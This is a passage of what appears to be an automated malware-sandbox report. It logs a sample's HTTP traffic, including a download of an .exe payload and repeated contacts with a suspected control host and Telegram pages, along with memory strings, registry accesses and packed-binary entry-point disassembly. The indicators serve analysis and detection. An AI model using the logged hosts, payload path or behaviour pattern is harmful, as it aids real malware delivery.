Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:52 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=211 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad69e2c557587-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET /files/7782139129/S6xWuZ1.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Tue 17 Mar 2026 09:05:53 GMT Content-Type: application/octet-stream Content-Length: 10289664 Last-Modified: Mon 16 Mar 2026 09:37:33 GMT Connection: keep-alive ETag: "69b7cf5d-9d0200" Accept-Ranges: bytes with response body ==>4D5A50000200000004000F00C3BFC3BF0000C2B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:53 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=192 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6a30eaab1b4-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=71d6a596322db97bef_14268494295108583629" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue 17 Mar 2026 09:05:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9582 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:53 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=207 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6a71ce1b1b4-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:54 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=175 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6a8bf4b9913-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:54 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=168 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6abdc07b1b4-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:54 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=206 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6ad1d869913-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:55 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=208 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6b1fc4f9913-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=3fd8758aa7f47f4881_10999291392089757959" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue 17 Mar 2026 09:05:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9581 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=71d6a596322db97bef_14268494295108583629" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue 17 Mar 2026 09:05:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9582 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:57 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=195 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6be1b66cf21-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:59 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=211 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6c67e00cf21-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:59 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=192 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6c8cc24cce5-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:59 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=190 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6cb2f55cf21-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:59 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=189 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6ccba11cce5-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231.......51:T6be3," pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path -LiteralPath $LiteralPath | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path $Path | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found string "if(Test-Path -LiteralPath $filePath -PathType Container)" (Indicator: "Test-Path"; Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ReadError -ErrorId "FileReadError" -TargetObject $FilePath" (Indicator: "Write-Error"; Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found string "Write-Error -ErrorRecord $errorRecord" (Indicator: "Write-Error"; Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp")54:Te2b,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "systemhelper.exe" touched "Computer" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32") "systemhelper.exe" touched "UsersFiles" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\INPROCSERVER32") "systemhelper.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "systemhelper.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "systemhelper.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "systemhelper.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") "systemhelper.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "systemhelper.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "systemhelper.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "systemhelper.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\PROGID") "systemhelper.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\PROGID") "systemhelper.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\PROGID") "systemhelper.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "windowsservice.exe" touched "Microsoft Multiple AutoComplete List Container" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}") "windowsservice.exe" touched "Microsoft Shell Folder AutoComplete List" (Path: "HKCU\WOW6432NODE\CLSID\{03C036F1-A186-11D0-824A-00AA005B4383}\TREATAS") "windowsservice.exe" touched "Microsoft AutoComplete" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062}\TREATAS") "windowsservice.exe" touched "Microsoft TipAutoCompleteClient Control" (Path: "HKCU\WOW6432NODE\CLSID\{807C1E6C-1D00-453F-B920-B61BB7CDD997}\TREATAS") "tasklist.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "tasklist.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "tasklist.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "tasklist.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "tasklist.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "tasklist.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "tasklist.exe" touched "WbemStatusCode" (Path: "HKCU\WOW6432NODE\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\TREATAS")55:T54a,"Ln9yol3_1_.exe" has an writable section named ".data" "Ln9yol3_1_.exe" has an writable section named ".eh_fram" "Ln9yol3_1_.exe" has an writable section named ".bss" "Ln9yol3_1_.exe" has an writable section named ".tls" "Nb2YOyu.exe" has an writable section named ".data" "Nb2YOyu.exe" has an writable section named ".idata" "Y9lcbSi.exe" has an writable section named ".data" "Y9lcbSi.exe" has an writable section named ".idata" "7GKCAjW_1_.exe" has an writable section named ".data" "7GKCAjW_1_.exe" has an writable section named ".idata" "7z.exe" has an writable section named ".data" "7z.exe" has an writable section named ".sxdata" "systemhelper.exe" has an writable section named ".data" "eNLe4nm.exe" has an writable section named "UPX0" "eNLe4nm.exe" has an writable section named "UPX1" "eNLe4nm.exe" has an writable section named "UPX2" "random_1_.exe" has an writable section named "UPX0" "random_1_.exe" has an writable section named "UPX1" "random_1_.exe" has an writable section named "UPX2" "NSudoLG.exe" has an writable section named ".data" "servicehelper.exe" has an writable section named "UPX0" "servicehelper.exe" has an writable section named "UPX1" "servicehelper.exe" has an writable section named ".rsrc" "nircmd.exe" has an writable section named ".data" "cecho.exe" has an writable section named "UPX0"56:T212b,"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "Ln9yol3_1_.exe" file has an entrypoint instructions - "sub rsp, 0x28,mov rax, qword ptr [rip + 0x37f375],mov dword ptr [rax], 1,call 0x140001010,nop ,nop ,add rsp, 0x28,ret ,nop dword ptr [rax],sub rsp, 0x28,mov rax, qword ptr [rip + 0x37f355],mov dword ptr [rax], 0,call 0x140001010,nop ,nop ,add rsp, 0x28,ret ,nop dword ptr [rax],jmp 0x14002f290,nop ,nop ,nop ,nop ,nop ,nop ,nop ,nop ,nop ,nop ,nop ,ret ,nop dword ptr [rax],nop word ptr cs:[rax + rax],xor eax, eax,ret ," "Nb2YOyu.exe" file has an entrypoint instructions - "jmp 0x140074900,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push rbp,mov rbp, rsp,pushfq ,cld ,sub rsp, 0xe0,mov qword ptr [rsp], rdi,mov qword ptr [rsp + 8], rsi,mov qword ptr [rsp + 0x10], rbp,mov qword ptr [rsp + 0x18], rbx,mov qword ptr [rsp + 0x20], r12,mov qword ptr [rsp + 0x28], r13,mov qword ptr [rsp + 0x30], r14,mov qword ptr [rsp + 0x38], r15,movups xmmword ptr [rsp + 0x40], xmm6,movups xmmword ptr [rsp + 0x50], xmm7,movups xmmword ptr [rsp + 0x60], xmm8," "Y9lcbSi.exe" file has an entrypoint instructions - "jmp 0x4660e0,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,sub esp, 0x28,mov dword ptr [esp + 0x1c], ebx,mov dword ptr [esp + 0x10], ebp,mov dword ptr [esp + 0x14], esi,mov dword ptr [esp + 0x18], edi,mov dword ptr [esp], eax,mov dword ptr [esp + 4], ecx,call 0x449070,mov eax, dword ptr [esp + 8],mov edi, dword ptr [esp + 0x18],mov esi, dword ptr [esp + 0x14],mov ebp, dword ptr [esp + 0x10],mov ebx, dword ptr [esp + 0x1c],add esp, 0x28,ret 4,ret ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,sub esp, 8,mov ecx, dword ptr [esp + 0xc],mov edx, dword ptr [ecx],mov eax, esp,mov dword ptr [edx + 4], eax,sub eax, 0x10000," "7GKCAjW_1_.exe" file has an entrypoint instructions - "jmp 0x466a40,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push rbp,mov rbp, rsp,pushfq ,cld ,sub rsp, 0xe0,mov qword ptr [rsp], rdi,mov qword ptr [rsp + 8], rsi,mov qword ptr [rsp + 0x10], rbp,mov qword ptr [rsp + 0x18], rbx,mov qword ptr [rsp + 0x20], r12,mov qword ptr [rsp + 0x28], r13,mov qword ptr [rsp + 0x30], r14,mov qword ptr [rsp + 0x38], r15,movups xmmword ptr [rsp + 0x40], xmm6,movups xmmword ptr [rsp + 0x50], xmm7,movups xmmword ptr [rsp + 0x60], xmm8," "7z.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,push -1,push 0x4ba368,push 0x4a57fe,mov eax, dword ptr fs:[0],push eax,mov dword ptr fs:[0], esp,sub esp, 0x20,push ebx,push esi,push edi,mov dword ptr [ebp - 0x18], esp,and dword ptr [ebp - 4], 0,push 1,call dword ptr [0x4b1188],pop ecx,or dword ptr [0x4d43ac], 0xffffffff,or dword ptr [0x4d43b0], 0xffffffff,call dword ptr [0x4b118c],mov ecx, dword ptr [0x4d4394],mov dword ptr [eax], ecx,call dword ptr [0x4b1190],mov ecx, dword ptr [0x4d4390],mov dword ptr [eax], ecx,mov eax, dword ptr [0x4b1194],mov eax, dword ptr [eax]," "systemhelper.exe" file has an entrypoint instructions - "call 0x429412,jmp 0x428c45,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x4284d0,jmp 0x428dd1,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x463124],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax," "eNLe4nm.exe" file has an entrypoint instructions - "push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x3699b],lea rdi, [rsi - 0xcc000],push rdi,xor ebx, ebx,xor ecx, ecx,or rbp, 0xffffffffffffffff,call 0x140103a00,add ebx, ebx,je 0x1401039b6,repz ret ,mov ebx, dword ptr [rsi],sub rsi, -4,adc ebx, ebx,mov dl, byte ptr [rsi],repz ret ,lea rax, [rdi + rbp],cmp ecx, 5,mov dl, byte ptr [rax],jbe 0x1401039ee,cmp rbp, -4,ja 0x1401039ee,sub ecx, 4,mov edx, dword ptr [rax],add rax, 4,sub ecx, 4,mov dword ptr [rdi], edx,lea rdi, [rdi + 4],jae 0x1401039d6,add ecx, 4,mov dl, byte ptr [rax],je 0x1401039fe,inc rax,mov byte ptr [rdi], dl," "random_1_.exe" file has an entrypoint instructions - "push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x3699b],lea rdi, [rsi - 0xcc000],push rdi,xor ebx, ebx,xor ecx, ecx,or rbp, 0xffffffffffffffff,call 0x140103a00,add ebx, ebx,je 0x1401039b6,repz ret ,mov ebx, dword ptr [rsi],sub rsi, -4,adc ebx, ebx,mov dl, byte ptr [rsi],repz ret ,lea rax, [rdi + rbp],cmp ecx, 5,mov dl, byte ptr [rax],jbe 0x1401039ee,cmp rbp, -4,ja 0x1401039ee,sub ecx, 4,mov edx, dword ptr [rax],add rax, 4,sub ecx, 4,mov dword ptr [rdi], edx,lea rdi, [rdi + 4],jae 0x1401039d6,add ecx, 4,mov dl, byte ptr [rax],je 0x1401039fe,inc rax,mov byte ptr [rdi], dl," "NSudoLG.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000dfac,add rsp, 0x28,jmp 0x14000d874,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0xb8e3],mov rcx, rbx,call qword ptr [rip + 0xb8e2],call qword ptr [rip + 0xb7fc],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0xb8b8],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call qword ptr [rip + 0xb89c],test eax, eax,je 0x14000da4f," "servicehelper.exe" file has an entrypoint instructions - "push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x29c6b],lea rdi, [rsi - 0x97000],push rdi,xor ebx, ebx,xor ecx, ecx,or rbp, 0xffffffffffffffff,call 0x1400c1cd0,add ebx, ebx,je 0x1400c1c86,repz ret ,mov ebx, dword 